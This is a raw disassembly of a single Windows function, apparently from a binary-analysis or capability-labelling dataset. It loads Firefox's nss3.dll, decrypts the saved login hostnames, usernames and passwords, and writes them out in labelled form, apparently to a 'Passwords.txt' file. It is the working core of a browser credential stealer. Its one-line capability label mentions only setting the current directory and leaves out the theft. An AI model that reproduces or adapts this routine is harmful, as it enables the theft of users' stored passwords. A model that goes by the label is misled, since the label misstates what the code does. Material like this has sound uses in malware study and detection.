Function at 0x430680
Capabilities:
Set current directory

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65a844
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x260
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x33
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
push str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
call fcn.00423ce0
lea edx, [ebp - 0x78]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.00421f10
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x64]
cmp ecx, 7
jbe 0x43073c
mov edx, dword [ebp - 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x430732
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
cmp dword [ebp - 0xd8], 0xf
lea ecx, [ebp - 0xec]
mov eax, dword [ebp - 0xdc]
cmova ecx, dword [ebp - 0xec]
add eax, ecx
cmp dword [ebp - 0xd8], 0xf
lea ecx, [ebp - 0xec]
cmova ecx, dword [ebp - 0xec]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x270]
call fcn.00459570
mov byte [ebp - 4], 3
mov ecx, 0x6ed414
cmp dword [0x6ed428], 7
push dword [0x6ed424]
cmova ecx, dword [0x6ed414]
push ecx
push ecx
mov ecx, eax
call fcn.00466680
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x25c]
cmp ecx, 7
jbe 0x43082c
mov edx, dword [ebp - 0x270]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x430822
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43139b
push ecx
push edx
call fcn.0061ef9d
add esp, 8
xor eax, eax
mov dword [ebp - 0x260], 0
push 0xb0
push eax
mov word [ebp - 0x270], ax
lea eax, [ebp - 0x228]
push eax
mov dword [ebp - 0x25c], 7
call fcn.006213c0
add esp, 4
lea eax, [ebp - 0x9c]
lea ecx, [ebp - 0x228]
push 8
push eax
call fcn.0043ee40
mov byte [ebp - 4], 6
cmp dword [ebp - 0x1d8], 0
je 0x431274
lea ecx, [ebp - 0x178]
call fcn.0042fb40
mov byte [ebp - 4], 7
cmp dword [ebp - 0x168], 0
je 0x431236
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x60]
call fcn.00447840
mov al, byte [0x6ab6d4]
cmp dword [ebp - 0x4c], 0xf
movq xmm0, qword [str.nss3.dll]
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x60]
cmova eax, dword [ebp - 0x60]
push eax
movq qword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4c]
mov esi, eax
test esi, esi
jne 0x430930
cmp ecx, 0xf
jbe 0x430919
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43090f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313a0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
jmp 0x4311fe
cmp ecx, 0xf
jbe 0x430961
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430957
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313a0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, esi
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.0042f1d0
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
lea ecx, [ebp - 0x84]
movq qword [ebp - 0x84], xmm0
call fcn.0042fe30
mov byte [ebp - 4], 8
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x230], esi
cmp esi, eax
je 0x4311ef
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x234], esi
cmp esi, dword [ebp - 0x23c]
je 0x4311ef
cmp dword [esi + 0x14], 0xf
mov edi, esi
mov ecx, dword [0x6ed224]
mov eax, esi
mov dword [ebp - 0x238], edi
mov dword [ebp - 0x240], edi
jbe 0x4309e8
mov eax, dword [esi]
push eax
call ecx
add esp, 4
test eax, eax
jne 0x4311a7
cmp dword [esi + 0x14], 0xf
mov eax, esi
mov dword [ebp - 0x22c], esi
jbe 0x430a0c
mov eax, dword [esi]
mov dword [ebp - 0x22c], eax
sub esp, 0x18
mov ecx, eax
mov edx, esp
xorps xmm0, xmm0
lea eax, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430a30
sub ecx, dword [ebp - 0x2c]
push ecx
push dword [ebp - 0x22c]
mov ecx, edx
call fcn.00411430
call fcn.0042f790
mov edx, eax
mov dword [ebp - 0x34], 0
mov ecx, edx
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
add esp, 0x18
movups xmmword [ebp - 0x44], xmm0
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430a70
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
lea ecx, [ebp - 0x44]
call fcn.00411430
mov byte [ebp - 4], 9
cmp dword [ebp - 0x34], 0
je 0x4311b5
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0
push str._hostname_:_______
lea ecx, [ebp - 0x5c]
movups xmmword [ebp - 0x5c], xmm0
call fcn.00442210
push ecx
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x128]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
push str._encryptedUsername_:_______
movups xmmword [ebp - 0x128], xmm0
call fcn.00442210
push ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x114]
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
push str._encryptedPassword_:_______
movups xmmword [ebp - 0x114], xmm0
call fcn.00442210
push 0x38
lea eax, [ebp - 0xd4]
push 0
push eax
call fcn.006213c0
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
add esp, 0xc
mov byte [ebp - 0xd0], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov byte [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0
mov byte [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
mov byte [ebp - 0xa0], 0
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x44]
cmp dword [ebp - 0x30], 0xf
cmova esi, dword [ebp - 0x44]
mov dword [ebp - 0x2c], esi
nop word [eax + eax]
cmp dword [ebp - 0x30], 0xf
lea ecx, [ebp - 0x44]
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x5c]
cmova ecx, dword [ebp - 0x44]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd4]
push eax
push esi
call fcn.0045cdb0
add esp, 0x10
test al, al
je 0x4310ca
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0xe
push str.BROWSER_NAME_:
push eax
call fcn.00453340
add esp, 8
push str.Mozilla_Firefox_Browser
push eax
call fcn.00453340
add esp, 8
push 0x6ab804
push eax
call fcn.00453340
add esp, 8
mov dword [ebp - 0xf0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x100], xmm0
push ecx
push str._______
lea ecx, [ebp - 0x100]
call fcn.00442210
push 0x38
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.006213c0
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
add esp, 0xc
mov byte [ebp - 0x15c], 0
movups xmmword [ebp - 0x158], xmm0
mov dword [ebp - 0x148], 0
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
mov byte [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
mov byte [ebp - 0x12c], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [edi + 0x14]
mov dword [ebp - 0x22c], edi
cmp ecx, 0xf
jbe 0x430cb4
mov eax, dword [edi]
mov ecx, eax
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x240]
mov edx, dword [eax + 0x10]
add edx, ecx
jmp 0x430cc0
mov edx, dword [edi + 0x10]
mov eax, edi
add edx, edi
cmp ecx, 0xf
jbe 0x430cc2
mov eax, dword [edi]
push dword [ebp - 0x22c]
push ecx
push edx
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x160]
call fcn.0045cdb0
add esp, 0x10
test al, al
je 0x430e10
push 0
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x160]
call fcn.004425f0
push 8
push 0x6ab830
push 0
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.00466840
mov dword [ebp - 0x68], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x64], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x78], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x68], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x430d84
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430d7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313a5
push ecx
push edx
call fcn.0061ef9d
add esp, 8
lea eax, [ebp - 0x228]
mov dword [ebp - 0x248], 0
push str.PROFILE_:
push eax
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0xf
cmova ecx, dword [ebp - 0x78]
push dword [ebp - 0x68]
push ecx
push eax
call fcn.0046df60
add esp, 0xc
push 0x6ab804
push eax
call fcn.00453340
mov byte [ebp - 4], 0x10
add esp, 8
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xf
jbe 0x430e40
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430e07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313aa
push ecx
push edx
call fcn.0061ef9d
jmp 0x430e3d
lea eax, [ebp - 0x228]
push str.PROFILE_:
push eax
call fcn.00453340
add esp, 8
push str.UKNOWN
push eax
call fcn.00453340
add esp, 8
push 0x6ab804
push eax
call fcn.00453340
add esp, 8
lea eax, [ebp - 0x228]
push str.__________________________________________n
push eax
call fcn.00453340
add esp, 8
lea eax, [ebp - 0x228]
push str.URL:
push eax
call fcn.00453340
add esp, 8
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0xd4]
push 1
push eax
call fcn.004425f0
mov byte [ebp - 4], 0x14
cmp dword [eax + 0x14], 0xf
jbe 0x430e8e
mov eax, dword [eax]
mov ecx, eax
call fcn.004305c0
push eax
push dword [ebp - 0x22c]
call fcn.00453340
add esp, 8
push 0x6ab868
push eax
call fcn.00453340
mov byte [ebp - 4], 0x10
add esp, 8
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x430ef0
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430ee6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313af
push ecx
push edx
call fcn.0061ef9d
add esp, 8
cmp dword [ebp - 0x30], 0xf
lea ecx, [ebp - 0x44]
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x128]
cmova ecx, dword [ebp - 0x44]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd4]
push eax
push esi
call fcn.0045cdb0
add esp, 0x10
lea ecx, [ebp - 0xd4]
sub esp, 0x18
mov eax, esp
push 1
push eax
call fcn.004425f0
call fcn.0042f9b0
add esp, 0x18
mov ecx, eax
call fcn.004305c0
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x228]
push str.USERNAME:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x22c]
push eax
call fcn.00453340
add esp, 8
push 0x6ab868
push eax
call fcn.00453340
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x44]
add esp, 8
lea edx, [ebp - 0x114]
cmp dword [ebp - 0x30], 0xf
cmova ecx, dword [ebp - 0x44]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd4]
push eax
push esi
call fcn.0045cdb0
add esp, 0x10
lea ecx, [ebp - 0xd4]
sub esp, 0x18
mov eax, esp
push 1
push eax
call fcn.004425f0
call fcn.0042f9b0
add esp, 0x18
mov ecx, eax
call fcn.004305c0
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x228]
push str.PASSWORD:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x22c]
push eax
call fcn.00453340
add esp, 8
push 0x6ab868
push eax
call fcn.00453340
add esp, 8
lea eax, [ebp - 0x228]
push str.__________________________________________n
push eax
call fcn.00453340
mov ecx, dword [ebp - 0xc8]
add esp, 8
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2c], eax
sub ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x431037
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa8]
jmp 0x43103c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ecx]
sub eax, dword [ebp - 0xd4]
cmp byte [ecx + 8], 0
je 0x43104f
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
jmp 0x431053
xor ecx, ecx
xor edx, edx
sub eax, edx
add eax, ecx
lea ecx, [ebp - 0x158]
add esi, eax
mov dword [ebp - 0x2c], esi
call fcn.00440c50
lea ecx, [ebp - 0x100]
call fcn.0044b680
mov ecx, dword [ebp - 0xf0]
test ecx, ecx
je 0x431091
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x431091
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xd
jmp 0x430b90
lea ecx, [ebp - 0xcc]
call fcn.00440c50
lea ecx, [ebp - 0x114]
call fcn.0044b680
mov ecx, dword [ebp - 0x104]
test ecx, ecx
je 0x4310ff
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x4310ff
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
lea ecx, [ebp - 0x128]
call fcn.0044b680
mov ecx, dword [ebp - 0x118]
test ecx, ecx
je 0x431129
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x431129
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 9
call fcn.0044b680
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
je 0x431151
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x431151
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
call dword [0x6ed21c]
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x43118f
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431185
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b4
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov esi, dword [ebp - 0x230]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
add esi, 0x18
mov dword [ebp - 0x230], esi
jmp 0x4309b8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x431195
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4311e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b4
push ecx
push edx
call fcn.0061ef9d
add esp, 8
jmp 0x431195
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 7
call fcn.00443780
lea ecx, [ebp - 0x224]
call fcn.0044b5a0
test eax, eax
jne 0x431236
mov eax, dword [ebp - 0x228]
lea ecx, [ebp - 0x228]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405010
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x431274
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43126a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov eax, dword [ebp - 0x228]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x228]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x22c], eax
lea ecx, [ebp - 0x224]
call fcn.00441960
mov eax, dword [ebp - 0x228]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x228]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x22c], eax
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0x16
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0060d55e
mov ecx, dword [ebp - 0x88]
add esp, 4
cmp ecx, 7
jbe 0x43132a
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x431320
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xd8]
xor eax, eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 7
mov word [ebp - 0x9c], ax
cmp ecx, 0xf
jbe 0x43137d
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431373
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4313b9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
int3